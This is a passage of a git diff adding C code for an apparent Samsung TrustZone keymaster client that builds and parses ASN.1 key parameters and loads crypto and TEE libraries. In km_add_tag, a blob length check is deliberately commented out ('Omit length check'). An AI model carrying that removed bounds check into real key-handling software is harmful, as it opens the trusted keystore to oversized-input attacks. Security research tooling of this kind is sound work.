keymaster_free_characteristics(keymaster_key_characteristics_t *characteristics); + +const char *km_result_to_string(KM_Result ret); +const char *km_error_to_string(int error); +const char *km_key_format_to_string(int key_format); +const char *km_algorithm_to_string(int algorithm); +int km_algorithm_to_int(const char *str); +int km_purpose_to_int(const char *str); +int km_padding_to_int(const char *str); +int km_digest_to_int(const char *str); + +#endif // _SKEYMASTER_DEFS_H_ diff --git a/jni/core/skeymaster_helper.h b/jni/core/skeymaster_helper.h new file mode 100644 index 0000000..cf2cb4e --- /dev/null +++ b/jni/core/skeymaster_helper.h @@ -0,0 +1,57 @@ +#ifndef _SKEYMASTER_HELPER_H_ +#define _SKEYMASTER_HELPER_H_ + +#include +#include + +KM_Result nwd_open_connection(void); +KM_Result nwd_close_connection(void); + +KM_Result nwd_configure(keymaster_key_param_set_t *param_set); + +KM_Result nwd_generate_key( + keymaster_key_param_set_t *param_set, + vector_t *ekey, + keymaster_key_characteristics_t *characteristics); + +KM_Result nwd_get_key_characteristics( + vector_t *ekey, + vector_t *application_id, + vector_t *application_data, + keymaster_key_characteristics_t * characteristics); + +KM_Result nwd_import_key( + keymaster_key_param_set_t *param_set, + long key_format, + vector_t *key_data, + vector_t *ekey, + keymaster_key_characteristics_t *characteristics); + +KM_Result nwd_export_key( + long key_format, + vector_t *ekey, + vector_t *application_id, + vector_t *application_data, + vector_t *exported); + +KM_Result nwd_upgrade_key( + vector_t *ekey, + keymaster_key_param_set_t *param_set, + vector_t *new_ekey); + +KM_Result nwd_begin( + keymaster_key_param_set_t *param_set, + long purpose, + vector_t *ekey, + int64_t *operation_handle, + keymaster_key_param_set_t *out_params); + +KM_Result nwd_finish( + keymaster_key_param_set_t *param_set, + vector_t *data, + vector_t *signature, + int64_t *operation_handle, + vector_t *output, + keymaster_key_param_set_t *output_params); + +#endif // _SKEYMASTER_HELPER_H_ diff --git a/jni/core/skeymaster_key_params.c b/jni/core/skeymaster_key_params.c new file mode 100755 index 0000000..3692597 --- /dev/null +++ b/jni/core/skeymaster_key_params.c @@ -0,0 +1,848 @@ +#include + +#include +#include +#include +#include +#include + +int is_repeatable_tag(keymaster_tag_t tag) { + switch (keymaster_tag_get_type(tag)) { + case KM_UINT_REP: + case KM_ENUM_REP: + case KM_ULONG_REP: + return 0; + break; + default: + return -1; + } +} + +int km_push_param( + km_param_t *par, + keymaster_tag_t tag, + ASN1_INTEGER *integer, + ASN1_OCTET_STRING *string, + int flags) +{ + int ret; + + if (NULL == par) { + LOGE("%s is NULL", "par"); + ret = -1; + goto cleanup; + } + + km_param_t *new_par = (km_param_t *)ASN1_item_new((ASN1_ITEM *)&KM_PARAM); + if (NULL == new_par) { + LOGE("%s failed", "sKM_PARAM_new"); + ret = -1; + goto cleanup; + } + + new_par->i = integer; + new_par->b = string; + new_par->flags = flags; + if (0 == ASN1_INTEGER_set(new_par->tag, tag)) { + LOGE("%s failed for %x", "ASN1_INTEGER_set", tag); + ASN1_item_free((ASN1_VALUE *)new_par, &KM_PARAM); + ret = -1; + goto cleanup; + } + + if (0 == sk_push((_STACK *)par, new_par)) { + ASN1_item_free((ASN1_VALUE *)new_par, &KM_PARAM); + ret = -1; + goto cleanup; + } + + ret = 1; + +cleanup: + return ret; +} + +int km_get_tag(km_param_t *par, keymaster_tag_t tag, int tag_count, param_tag_t *param_tag) +{ + int count = 0; + int num = sk_num((_STACK *)par); + if (NULL == par || 1 > num) { + goto cleanup; + } + + keymaster_tag_type_t tag_type = keymaster_tag_get_type(tag); + + for (int i = 0; i < num; ++i) { + km_param_t *current = (km_param_t *)sk_value((_STACK *)par, i); + + if (NULL == current) { + LOGE("%s returned NULL", "sk_value"); + goto error; + } + + int current_tag = 0; + if (0 != km_get_ASN1_INTEGER(current->tag, ¤t_tag)) { + LOGE("%s failed for tag %p", "km_get_ASN1_INTEGER", current->tag); + goto error; + } + + if (tag != current_tag) { + continue; + } + + ++count; + + if (count != tag_count + 1 || NULL == param_tag) { + continue; + } + + switch (tag_type) { + case KM_ENUM: + case KM_ENUM_REP: + if (0 != km_get_ASN1_INTEGER(current->i, (int32_t *)¶m_tag->enumerated)) { + LOGE("%s failed for tag %x", "km_get_ASN1_INTEGER", tag); + goto error; + } + break; + case KM_UINT: + case KM_UINT_REP: + if (0 != km_get_ASN1_INTEGER(current->i, (int32_t *)¶m_tag->integer)) { + LOGE("%s failed for tag %x", "km_get_ASN1_INTEGER", tag); + goto error; + } + break; + case KM_ULONG: + case KM_ULONG_REP: + if (0 != km_get_ASN1_INTEGER_BN(current->i, (int64_t *)¶m_tag->long_integer)) { + LOGE("%s failed for tag %x", "km_get_ASN1_INTEGER_BN", tag); + goto error; + } + break; + case KM_DATE: + if (0 != km_get_ASN1_INTEGER_BN(current->i, (int64_t *)¶m_tag->date_time)) { + LOGE("%s failed for tag %x", "km_get_ASN1_INTEGER_BN", tag); + goto error; + } + break; + case KM_BOOL: + if (0 != km_get_ASN1_INTEGER(current->i, (int32_t *)¶m_tag->boolean) || + (int)param_tag->boolean > 2) { + LOGE("%s failed for tag %x", "km_get_ASN1_INTEGER", tag); + goto error; + } + break; + case KM_BIGNUM: + case KM_BYTES: + if (0 != param_tag->blob.len && current->b->length > param_tag->blob.len) { + LOGE("overflow: try to write %d bytes in %lu buffer", current->b->length, param_tag->blob.len); + goto error; + } + if (0 != km_get_ASN1_OCTET_STRING(current->b, ¶m_tag->blob.data, ¶m_tag->blob.len)) { + LOGE("%s failed for tag %x", "km_get_ASN1_OCTET_STRING", tag); + goto error; + } + break; + case KM_INVALID: + default: + LOGD("tag %x: invalid", tag); + break; + } + } + + if (1 < count && -1 == is_repeatable_tag(tag)) { + LOGE("multiple non repetable tag: %x", tag); + goto error; + } + +cleanup: + return count; + +error: + return -1; +} + +int km_is_tag_value_exist(km_param_t *par, keymaster_tag_t tag, param_tag_t *ref_tag) +{ + + int ret = km_get_tag(par, tag, 0, NULL); + if (0 >= ret) { + goto cleanup; + } + + int tag_count = ret; + + for (int i = 0; i < tag_count; ++i) { + keymaster_tag_type_t tag_type = keymaster_tag_get_type(tag); + param_tag_t current_param_tag; + memset(¤t_param_tag, 0, sizeof(current_param_tag)); + + ret = km_get_tag(par, tag, i, ¤t_param_tag); + if (ret <= 0 && (KM_BIGNUM == tag_type || KM_BYTES == tag_type)) { + free(current_param_tag.blob.data); + } + + if (0 > ret) { + goto cleanup; + } + else if (0 == ret) { + continue; + } + + switch (tag_type) { + case KM_ENUM: + case KM_ENUM_REP: + ret = ref_tag->enumerated - current_param_tag.enumerated; + if (0 == ret) { + ret = 1; + goto cleanup; + } + break; + case KM_UINT: + case KM_UINT_REP: + ret = ref_tag->integer - current_param_tag.integer; + if (0 == ret) { + ret = 1; + goto cleanup; + } + break; + case KM_ULONG: + case KM_ULONG_REP: + ret = memcmp(¤t_param_tag, ref_tag, 8); + if (0 == ret) { + ret = 1; + goto cleanup; + } + break; + case KM_DATE: + ret = memcmp(¤t_param_tag, ref_tag, 8); + if (0 == ret) { + ret = 1; + goto cleanup; + } + break; + case KM_BOOL: + ret = ref_tag->boolean - current_param_tag.boolean; + if (0 == ret) { + ret = 1; + goto cleanup; + } + break; + case KM_BIGNUM: + case KM_BYTES: + ret = -1; + if (NULL != ref_tag && NULL != current_param_tag.blob.data && + current_param_tag.blob.len == ref_tag->blob.len && 0 != ref_tag->blob.len) { + ret = memcmp(current_param_tag.blob.data, ref_tag->blob.data, ref_tag->blob.len); + } + + if (NULL != current_param_tag.blob.data) { + free(current_param_tag.blob.data); + } + + if (0 == ret) { + ret = 1; + goto cleanup; + } + + break; + case KM_INVALID: + default: + LOGD("tag %x: invalid", tag); + break; + } + } + + ret = 0; + +cleanup: + return ret; +} + +int km_add_tag(km_param_t *par, keymaster_tag_t tag, param_tag_t *param_tag, int flags) +{ + int ret; + ASN1_INTEGER *integer = NULL; + ASN1_OCTET_STRING *string = NULL; + + if (NULL == par || NULL == param_tag) { + LOGE("%s", "invalid arguments par/param_tag"); + ret = -1; + goto cleanup; + } + + if (0 != km_is_tag_value_exist(par, tag, param_tag)) { + ret = 0; + goto cleanup; + } + + ret = km_get_tag(par, tag, 0, NULL); + if (0 > ret) { + LOGE("%s failed", "km_get_tag"); + ret = -1; + goto cleanup; + } + + if (0 != ret && -1 == is_repeatable_tag(tag)) { + LOGW("non repetable tag %x already exists with different value", tag); + goto cleanup; + } + + switch (keymaster_tag_get_type(tag)) { + case KM_ENUM: + case KM_ENUM_REP: + integer = km_set_ASN1_INTEGER(param_tag->enumerated); + if (NULL == integer) { + LOGE("%s failed for %x", "km_set_ASN1_INTEGER", tag); + ret = -1; + goto cleanup; + } + break; + case KM_UINT: + case KM_UINT_REP: + integer = km_set_ASN1_INTEGER(param_tag->integer); + if (NULL == integer) { + LOGE("%s failed for %x", "km_set_ASN1_INTEGER", tag); + ret = -1; + goto cleanup; + } + break; + case KM_ULONG: + case KM_ULONG_REP: + integer = km_set_ASN1_INTEGER_BN(param_tag->long_integer); + if (NULL == integer) { + LOGE("%s failed for %x", "km_set_ASN1_INTEGER", tag); + ret = -1; + goto cleanup; + } + break; + case KM_DATE: + integer = km_set_ASN1_INTEGER_BN(param_tag->date_time); + if (NULL == integer) { + LOGE("%s failed for %x", "km_set_ASN1_INTEGER", tag); + ret = -1; + goto cleanup; + } + break; + case KM_BOOL: + integer = km_set_ASN1_INTEGER(param_tag->boolean); + if (NULL == integer) { + LOGE("%s failed for %x", "ASN1_INTEGER_set", tag); + ret = -1; + goto cleanup; + } + break; + case KM_BIGNUM: + case KM_BYTES: + /* + Omit length check + */ + // if (0x2001 <= param_tag->blob.len) { + // LOGD("blob too long: %lu > 0x2000", param_tag->blob.len); + // ret = -1; + // goto cleanup; + // } + string = km_set_ASN1_OCTET_STRING(param_tag->blob.data, param_tag->blob.len); + if (NULL == string) { + LOGE("%s failed for %x", "km_set_ASN1_OCTET_STRING", tag); + } + break; + case KM_INVALID: + default: + LOGD("tag %x: invalid", tag); + break; + } + + ret = km_push_param(par, tag, integer, string, flags); + + if (-1 == ret) { + ASN1_INTEGER_free(integer); + ASN1_OCTET_STRING_free(string); + } + +cleanup: + return ret; +} + +int km_del_tag(km_param_t *par, keymaster_tag_t tag) +{ + int ret = sk_num((_STACK *)par); + for (int i = 0; i < ret; ++i) { + while( true ) { + km_param_t *current = (km_param_t *)sk_value((_STACK *)par, i); + if (NULL == current) { + ret = -1; + goto cleanup; + } + + int current_tag = 0; + if (0 != km_get_ASN1_INTEGER(current->tag, ¤t_tag)) { + LOGE("%s() failed for %x", "km_get_ASN1_INTEGER", tag); + ret = -1; + goto cleanup; + } + + if (current_tag != tag) { + break; + } + + if (NULL == sk_delete((_STACK *)par, i)) { + LOGE("%s failed", "sk_KM_PARAM_delete"); + ret = -1; + goto cleanup; + } + + ASN1_item_free((ASN1_VALUE *)current, &KM_PARAM); + i = 0; + ret = sk_num((_STACK *)par); + if (1 > ret) { + goto cleanup; + } + } + } + +cleanup: + return ret; +} + +// km_param_t *km_param_set_to_asn1(keymaster_key_param_set_t *param_set) +// { +// return g_libkeymaster_helper->km_param_set_to_asn1(param_set); +// } + +km_param_t * km_param_set_to_asn1(keymaster_key_param_set_t *param_set) +{ + param_tag_t *param_tag = NULL; + + km_param_t *par = (km_param_t *)sk_new_null(); + if (NULL == par) { + LOGE("%s() failed", "sk_KM_PARAM_new_null"); + goto cleanup; + } + + for (int i = 0; i < param_set->len; ++i) { + switch (keymaster_tag_get_type(param_set->params[i].tag)) { + case KM_ENUM: + case KM_ENUM_REP: + param_tag = (param_tag_t *)¶m_set->params[i].enumerated; + break; + case KM_UINT: + case KM_UINT_REP: + param_tag = (param_tag_t *)¶m_set->params[i].integer; + break; + case KM_ULONG: + case KM_ULONG_REP: + param_tag = (param_tag_t *)¶m_set->params[i].long_integer; + break; + case KM_DATE: + param_tag = (param_tag_t *)¶m_set->params[i].date_time; + break; + case KM_BOOL: + param_tag = (param_tag_t *)¶m_set->params[i].boolean; + break; + case KM_BIGNUM: + case KM_BYTES: + param_tag = (param_tag_t *)¶m_set->params[i].blob; + break; + case KM_INVALID: + default: + LOGE("tag %x: invalid", param_set->params[i].tag); + goto error; + break; + } + + if (1 > km_add_tag(par, param_set->params[i].tag, param_tag, 0)) { + LOGE("%s failed for tag %x", "km_add_tag", param_set->params[i].tag); + goto error; + } + } + +cleanup: + return (km_param_t *)par; + +error: + sk_pop_free((_STACK *)par, free_km_param); + par = NULL; + goto cleanup; +} + +int km_param_set_from_asn1(km_param_t *par, keymaster_key_param_set_t *param_set) +{ + int ret; + keymaster_key_param_t *params = NULL; + + if (NULL == par){ + LOGW("%s is NULL", "par"); + ret = 0; + param_set->params = NULL; + param_set->len = 0; + goto cleanup; + } + + int num = sk_num((_STACK *)par); + if (100 < num) { + LOGE("%s() failed", "sk_KM_PARAM_num()"); + ret = -1; + goto cleanup; + } + + if (0 == num) { + ret = 0; + LOGW("%s is 0", "sk_num(par)"); + param_set->params = NULL; + param_set->len = 0; + goto cleanup; + } + + params = malloc(num * sizeof(keymaster_key_param_t)); + if (NULL == params) { + ret = -1; + goto cleanup; + } + + memset(params, 0, num * sizeof(keymaster_key_param_t)); + + for (int i = 0; i < num; ++i) { + km_param_t *current = (km_param_t *)sk_value((_STACK *)par, i); + + if (NULL == current) { + goto error; + } + + if (0 != km_get_ASN1_INTEGER(current->tag, (int32_t *)¶ms[i].tag)) { + LOGE("%s failed for tag %p", "km_get_ASN1_INTEGER", current->tag); + goto error; + } + + switch (keymaster_tag_get_type(params[i].tag)) { + case KM_ENUM: + case KM_ENUM_REP: + if (0 != km_get_ASN1_INTEGER(current->i, (int32_t *)¶ms[i].enumerated)) { + LOGE("%s failed for tag %x", "km_get_ASN1_INTEGER", params[i].tag); + goto error; + } + + LOGD("params[%d] = (tag 0x%x %s, enum %d)", + i, params[i].tag, get_tag_string(params[i].tag), params[i].enumerated); + break; + case KM_UINT: + case KM_UINT_REP: + if (0 != km_get_ASN1_INTEGER(current->i, (int32_t *)¶ms[i].integer)) { + LOGE("%s failed for tag %x", "km_get_ASN1_INTEGER", params[i].tag); + goto error; + } + + LOGD("params[%d] = (tag 0x%x %s, uint %d)", + i, params[i].tag, get_tag_string(params[i].tag), params[i].integer); + break; + case KM_ULONG: + case KM_ULONG_REP: + if (0 != km_get_ASN1_INTEGER_BN(current->i, (int64_t *)¶ms[i].long_integer)) { + LOGE("%s failed for tag %x", "km_get_ASN1_INTEGER_BN", params[i].tag); + goto error; + } + + LOGD("params[%d] = (tag 0x%x %s, ulong %ld)", + i, params[i].tag, get_tag_string(params[i].tag), params[i].long_integer); + break; + case KM_DATE: + if (0 != km_get_ASN1_INTEGER_BN(current->i, (int64_t *)¶ms[i].date_time)) { + LOGE("%s failed for tag %x", "km_get_ASN1_INTEGER_BN", params[i].tag); + goto error; + } + + LOGD("params[%d] = (tag 0x%x %s, date %ld)", + i, params[i].tag, get_tag_string(params[i].tag), params[i].date_time); + break; + case KM_BOOL: + if (0 != km_get_ASN1_INTEGER(current->i, (int32_t *)¶ms[i].boolean) || + (int)params[i].boolean > 2) { + LOGE("%s failed for tag %x", "km_get_ASN1_INTEGER", params[i].tag); + goto error; + } + + LOGD("params[%d] = (tag 0x%x %s, bool %d)", + i, params[i].tag, get_tag_string(params[i].tag), params[i].boolean); + break; + case KM_BIGNUM: + case KM_BYTES: + if (0 != km_get_ASN1_OCTET_STRING(current->b, ¶ms[i].blob.data, ¶ms[i].blob.len)) { + LOGE("%s failed for tag %x", "km_get_ASN1_OCTET_STRING", params[i].tag); + goto error; + } + + LOGD("params[%d] = (tag 0x%x %s, bytes %s, len %lu)", + i, params[i].tag, get_tag_string(params[i].tag), params[i].blob.data, params[i].blob.len); + break; + case KM_INVALID: + default: + LOGE("tag %x: invalid", params[i].tag); + break; + } + } + + ret = 0; + param_set->params = params; + param_set->len = num; + +cleanup: + return ret; + +error: + keymaster_free_params(params, num); + free(params); + return -1; +} + +int is_tag_in_key_param_set(keymaster_key_param_set_t *param_set, keymaster_tag_t tag) +{ + int ret; + if (0 == param_set->len) { + ret = 1; + goto cleanup; + } + + for (int i = 0; i < param_set->len; ++i) { + if (tag == param_set->params[i].tag) { + ret = 0; + LOGD("0x%x tag is already in param set", tag); + goto cleanup; + } + } + + LOGD("0x%x tag not in param set", tag); + + ret = -1; + +cleanup: + return ret; +} + +int add_key_parameter_to_param_set(keymaster_key_param_set_t *param_set, keymaster_tag_t tag) +{ + int ret; + void *temp = realloc(param_set->params, (param_set->len + 1) * sizeof(keymaster_key_param_t)); + + if (NULL == temp) { + LOGE("failed to add %x tag to param set", tag); + ret = -1; + goto cleanup; + } + + param_set->params = temp; + param_set->params[param_set->len].tag = tag; + param_set->len = param_set->len + 1; + + ret = 0; + +cleanup: + return ret; +} + +int add_int_to_param_set(keymaster_key_param_set_t *param_set, keymaster_tag_t tag, int value) +{ + int ret = add_key_parameter_to_param_set(param_set, tag); + + if (0 != ret) { + goto cleanup; + } + + param_set->params[param_set->len - 1].integer = value; + +cleanup: + return ret; +} + +int add_date_to_param_set(keymaster_key_param_set_t *param_set, keymaster_tag_t tag, uint64_t value) +{ + int ret = add_key_parameter_to_param_set(param_set, tag); + + if (0 != ret) { + goto cleanup; + } + + param_set->params[param_set->len - 1].date_time = value; + +cleanup: + return ret; +} + +int add_bool_to_param_set(keymaster_key_param_set_t *param_set, keymaster_tag_t tag) +{ + int ret = add_key_parameter_to_param_set(param_set, tag); + + if (0 != ret) { + goto cleanup; + } + + param_set->params[param_set->len - 1].boolean = true; + +cleanup: + return ret; +} + +int add_blob_to_param_set(keymaster_key_param_set_t *param_set, keymaster_tag_t tag, vector_t *value) +{ + vector_t copy = {0}; + int ret = add_key_parameter_to_param_set(param_set, tag); + + if (0 != ret) { + goto cleanup; + } + + copy.len = value->len; + copy.data = malloc(value->len); + if (NULL == copy.data) { + LOGE("%s failed", "malloc"); + ret = -2; + goto cleanup; + } + + memcpy(copy.data, value->data, value->len); + + LOGD("copy.data %p, copy.len %lu", copy.data, copy.len); + + param_set->params[param_set->len - 1] = keymaster_param_blob(tag, ©); + +cleanup: + return ret; +} + +char *get_tag_string(keymaster_tag_t tag) +{ + switch(tag) { + case KM_TAG_INVALID: + return "KM_TAG_INVALID"; + case KM_TAG_PURPOSE: + return "KM_TAG_PURPOSE"; + case KM_TAG_ALGORITHM: + return "KM_TAG_ALGORITHM"; + case KM_TAG_KEY_SIZE: + return "KM_TAG_KEY_SIZE"; + case KM_TAG_BLOCK_MODE: + return "KM_TAG_BLOCK_MODE"; + case KM_TAG_DIGEST: + return "KM_TAG_DIGEST"; + case KM_TAG_PADDING: + return "KM_TAG_PADDING"; + case KM_TAG_CALLER_NONCE: + return "KM_TAG_CALLER_NONCE"; + case KM_TAG_MIN_MAC_LENGTH: + return "KM_TAG_MIN_MAC_LENGTH"; + case KM_TAG_EC_CURVE: + return "KM_TAG_EC_CURVE"; + case KM_TAG_RSA_PUBLIC_EXPONENT: + return "KM_TAG_RSA_PUBLIC_EXPONENT"; + case KM_TAG_INCLUDE_UNIQUE_ID: + return "KM_TAG_INCLUDE_UNIQUE_ID"; + case KM_TAG_BLOB_USAGE_REQUIREMENTS: + return "KM_TAG_BLOB_USAGE_REQUIREMENTS"; + case KM_TAG_BOOTLOADER_ONLY: + return "KM_TAG_BOOTLOADER_ONLY"; + case KM_TAG_ROLLBACK_RESISTANCE: + return "KM_TAG_ROLLBACK_RESISTANCE"; + case KM_TAG_HARDWARE_TYPE: + return "KM_TAG_HARDWARE_TYPE"; + case KM_TAG_ACTIVE_DATETIME: + return "KM_TAG_ACTIVE_DATETIME"; + case KM_TAG_ORIGINATION_EXPIRE_DATETIME: + return "KM_TAG_ORIGINATION_EXPIRE_DATETIME"; + case KM_TAG_USAGE_EXPIRE_DATETIME: + return "KM_TAG_USAGE_EXPIRE_DATETIME"; + case KM_TAG_MIN_SECONDS_BETWEEN_OPS: + return "KM_TAG_MIN_SECONDS_BETWEEN_OPS"; + case KM_TAG_MAX_USES_PER_BOOT: + return "KM_TAG_MAX_USES_PER_BOOT"; + case KM_TAG_USER_ID: + return "KM_TAG_USER_ID"; + case KM_TAG_USER_SECURE_ID: + return "KM_TAG_USER_SECURE_ID"; + case KM_TAG_NO_AUTH_REQUIRED: + return "KM_TAG_NO_AUTH_REQUIRED"; + case KM_TAG_USER_AUTH_TYPE: + return "KM_TAG_USER_AUTH_TYPE"; + case KM_TAG_AUTH_TIMEOUT: + return "KM_TAG_AUTH_TIMEOUT"; + case KM_TAG_ALLOW_WHILE_ON_BODY: + return "KM_TAG_ALLOW_WHILE_ON_BODY"; + case KM_TAG_TRUSTED_USER_PRESENCE_REQUIRED: + return "KM_TAG_TRUSTED_USER_PRESENCE_REQUIRED"; + case KM_TAG_TRUSTED_CONFIRMATION_REQUIRED: + return "KM_TAG_TRUSTED_CONFIRMATION_REQUIRED"; + case KM_TAG_UNLOCKED_DEVICE_REQUIRED: + return "KM_TAG_UNLOCKED_DEVICE_REQUIRED"; + case KM_TAG_APPLICATION_ID: + return "KM_TAG_APPLICATION_ID"; + case KM_TAG_APPLICATION_DATA: + return "KM_TAG_APPLICATION_DATA"; + case KM_TAG_CREATION_DATETIME: + return "KM_TAG_CREATION_DATETIME"; + case KM_TAG_ORIGIN: + return "KM_TAG_ORIGIN"; + case KM_TAG_ROOT_OF_TRUST: + return "KM_TAG_ROOT_OF_TRUST"; + case KM_TAG_OS_VERSION: + return "KM_TAG_OS_VERSION"; + case KM_TAG_OS_PATCHLEVEL: + return "KM_TAG_OS_PATCHLEVEL"; + case KM_TAG_UNIQUE_ID: + return "KM_TAG_UNIQUE_ID"; + case KM_TAG_ATTESTATION_CHALLENGE: + return "KM_TAG_ATTESTATION_CHALLENGE"; + case KM_TAG_ATTESTATION_APPLICATION_ID: + return "KM_TAG_ATTESTATION_APPLICATION_ID"; + case KM_TAG_ATTESTATION_ID_BRAND: + return "KM_TAG_ATTESTATION_ID_BRAND"; + case KM_TAG_ATTESTATION_ID_DEVICE: + return "KM_TAG_ATTESTATION_ID_DEVICE"; + case KM_TAG_ATTESTATION_ID_PRODUCT: + return "KM_TAG_ATTESTATION_ID_PRODUCT"; + case KM_TAG_ATTESTATION_ID_SERIAL: + return "KM_TAG_ATTESTATION_ID_SERIAL"; + case KM_TAG_ATTESTATION_ID_IMEI: + return "KM_TAG_ATTESTATION_ID_IMEI"; + case KM_TAG_ATTESTATION_ID_MEID: + return "KM_TAG_ATTESTATION_ID_MEID"; + case KM_TAG_ATTESTATION_ID_MANUFACTURER: + return "KM_TAG_ATTESTATION_ID_MANUFACTURER"; + case KM_TAG_ATTESTATION_ID_MODEL: + return "KM_TAG_ATTESTATION_ID_MODEL"; + case KM_TAG_VENDOR_PATCHLEVEL: + return "KM_TAG_VENDOR_PATCHLEVEL"; + case KM_TAG_BOOT_PATCHLEVEL: + return "KM_TAG_BOOT_PATCHLEVEL"; + case KM_TAG_ASSOCIATED_DATA: + return "KM_TAG_ASSOCIATED_DATA"; + case KM_TAG_NONCE: + return "KM_TAG_NONCE"; + case KM_TAG_MAC_LENGTH: + return "KM_TAG_MAC_LENGTH"; + case KM_TAG_RESET_SINCE_ID_ROTATION: + return "KM_TAG_RESET_SINCE_ID_ROTATION"; + case KM_TAG_CONFIRMATION_TOKEN: + return "KM_TAG_CONFIRMATION_TOKEN"; + case KM_TAG_EKEY_BLOB_IV: + return "KM_TAG_EKEY_BLOB_IV"; + case KM_TAG_EKEY_BLOB_AUTH_TAG: + return "KM_TAG_EKEY_BLOB_AUTH_TAG"; + case KM_TAG_EKEY_BLOB_DO_UPGRADE: + return "KM_TAG_EKEY_BLOB_DO_UPGRADE"; + case KM_TAG_EKEY_BLOB_PASSWORD: + return "KM_TAG_EKEY_BLOB_PASSWORD"; + case KM_TAG_EKEY_BLOB_SALT: + return "KM_TAG_EKEY_BLOB_SALT"; + case KM_TAG_EKEY_BLOB_ENC_VER: + return "KM_TAG_EKEY_BLOB_ENC_VER"; + case KM_TAG_EKEY_IS_KEY_BLOB_PLAIN: + return "KM_TAG_EKEY_IS_KEY_BLOB_PLAIN"; + case KM_TAG_EKEY_BLOB_HEK_RANDOMNESS: + return "KM_TAG_EKEY_BLOB_HEK_RANDOMNESS"; + case KM_TAG_INTEGRITY_FLAGS: + return "KM_TAG_INTEGRITY_FLAGS"; + case KM_TAG_EXPORTABLE: + return "KM_TAG_EXPORTABLE"; + case KM_TAG_ORIGIN_2: + return "KM_TAG_ORIGIN_2"; + default: + return "Unknown"; + } +} diff --git a/jni/core/skeymaster_key_params.h b/jni/core/skeymaster_key_params.h new file mode 100755 index 0000000..503ed8b --- /dev/null +++ b/jni/core/skeymaster_key_params.h @@ -0,0 +1,33 @@ +#ifndef _SKEYMASTER_KEY_PARAMS_H +#define _SKEYMASTER_KEY_PARAMS_H + +#include +#include + +int is_repeatable_tag(keymaster_tag_t tag); +int km_push_param( + km_param_t *par, + keymaster_tag_t tag_value, + ASN1_INTEGER *integer, + ASN1_OCTET_STRING *string, + int flags); +int km_get_tag(km_param_t *par, keymaster_tag_t tag, int tag_count, param_tag_t *param_tag); +int km_is_tag_value_exist(km_param_t *par, keymaster_tag_t tag, param_tag_t *ref_tag); +int km_add_tag(km_param_t *par ,keymaster_tag_t tag, param_tag_t *param_tag, int flags); +int km_del_tag(km_param_t *par, keymaster_tag_t tag); + +km_param_t *km_param_set_to_asn1(keymaster_key_param_set_t *param_set); +int km_param_set_from_asn1(km_param_t *par, keymaster_key_param_set_t *param_set); + +int is_tag_in_key_param_set(keymaster_key_param_set_t *param_set, keymaster_tag_t tag); + +int add_key_parameter_to_param_set(keymaster_key_param_set_t *param_set, keymaster_tag_t tag); +int add_int_to_param_set(keymaster_key_param_set_t *param_set, keymaster_tag_t tag, int value); +int add_date_to_param_set(keymaster_key_param_set_t *param_set, keymaster_tag_t tag, uint64_t value); +int add_bool_to_param_set(keymaster_key_param_set_t *param_set, keymaster_tag_t tag); +int add_blob_to_param_set(keymaster_key_param_set_t *param_set, keymaster_tag_t tag, vector_t *value); + +char *get_tag_string(keymaster_tag_t tag); + + +#endif // _SKEYMASTER_KEY_PARAMS_H diff --git a/jni/core/skeymaster_key_request.h b/jni/core/skeymaster_key_request.h new file mode 100644 index 0000000..f209b3a --- /dev/null +++ b/jni/core/skeymaster_key_request.h @@ -0,0 +1,32 @@ +#ifndef _SKEYMASTER_KEY_REQUEST_H_ +#define _SKEYMASTER_KEY_REQUEST_H_ + +#include +#include +#include + +typedef struct key_request_t { + vector_t application_id; + vector_t application_data; + int algorithm; + int purpose; + int padding; + int digest; + int enc_ver; + int is_plain; + int key_size; + bool is_exportable; + int mode; + int public_exponent; + int request; + vector_t salt; + vector_t iv; + vector_t aad; + vector_t auth_tag; + vector_t hek_randomness; + vector_t nonce; +} key_request_t; + +void free_key_request(key_request_t *req); + +#endif // _SKEYMASTER_KEY_REQUEST_H_ diff --git a/jni/core/skeymaster_libs.c b/jni/core/skeymaster_libs.c new file mode 100755 index 0000000..3739dcb --- /dev/null +++ b/jni/core/skeymaster_libs.c @@ -0,0 +1,177 @@ +#include +#include + +#include +#include +#include + +libcrypto_handle_t *g_libcrypto = NULL; + +libkeymaster_helper_t *g_libkeymaster_helper = NULL; + +#ifdef USE_LIBTEECL +libteecl_handle_t *g_libteecl = NULL; +#endif // USE_LIBTEECL + +#ifdef TZOS_KINIBI +#include +#endif // TZOS_KINIBI + +KM_Result initialize_libs(void) +{ + KM_Result ret = KM_RESULT_INVALID; + LOGD("initializing libs %s", "[libscrypto, libkeymaster_helper, libteecl, libMcClient]"); + g_libcrypto = load_libcrypto(); + if (NULL == g_libcrypto) { + goto cleanup; + } + + init_asn1_templates(); + + LOGD("%s successfully loaded", "libcrypto"); + + g_libkeymaster_helper = load_keymaster_helper(); + if (NULL == g_libkeymaster_helper) { + goto cleanup; + } + + LOGD("%s successfully loaded", "libkeymaster_helper"); + +#ifdef USE_LIBTEECL + g_libteecl = load_libteecl(); + if (NULL == g_libteecl) { + goto cleanup; + } + + LOGD("%s successfully loaded", "libteecl"); +#endif // USE_LIBTEECL + +#ifdef TZOS_KINIBI + g_libMcClient = load_libMcClient(); + if (NULL == g_libMcClient) { + goto cleanup; + } + LOGD("%s successfully loaded", "libMcClient"); +#endif // TZOS_KINIBI + + ret = KM_RESULT_SUCCESS; + +cleanup: + return ret; +} + +void destroy_libs(void) { + free(g_libcrypto); + g_libcrypto = NULL; + + free(g_libkeymaster_helper); + g_libkeymaster_helper = NULL; + +#ifdef USE_LIBTEECL + free(g_libteecl); + g_libteecl = NULL; +#endif // USE_LIBTEECL + +#ifdef TZOS_KINIBI + free(g_libMcClient); + g_libMcClient = NULL; +#endif // TZOS_KINIBI +} + +void *create_lib_handle(const char *name, size_t size) +{ + lib_handle_t *handle = malloc(size); + if (NULL == handle) { + LOGE("failed to allocate handle %s\n", name); + goto cleanup; + } + + memset(handle, 0, size); + + handle->lib = dlopen(name, RTLD_NOW); + if (NULL == handle->lib) { + LOGE("failed to dlopen %s\n", name); + free(handle); + handle = NULL; + goto cleanup; + } + +cleanup: + return handle; +} + +libcrypto_handle_t *load_libcrypto(void) +{ + libcrypto_handle_t *handle = create_lib_handle("libcrypto.so", sizeof(libcrypto_handle_t)); + + if (NULL == handle) { + goto cleanup; + } + + GET_SYMBOL(handle, ASN1_INTEGER_it); + GET_SYMBOL(handle, ASN1_BOOLEAN_it); + GET_SYMBOL(handle, ASN1_ENUMERATED_it); + GET_SYMBOL(handle, ASN1_OCTET_STRING_it); + GET_SYMBOL(handle, ASN1_item_new); + GET_SYMBOL(handle, ASN1_item_free); + GET_SYMBOL(handle, ASN1_item_d2i); + GET_SYMBOL(handle, 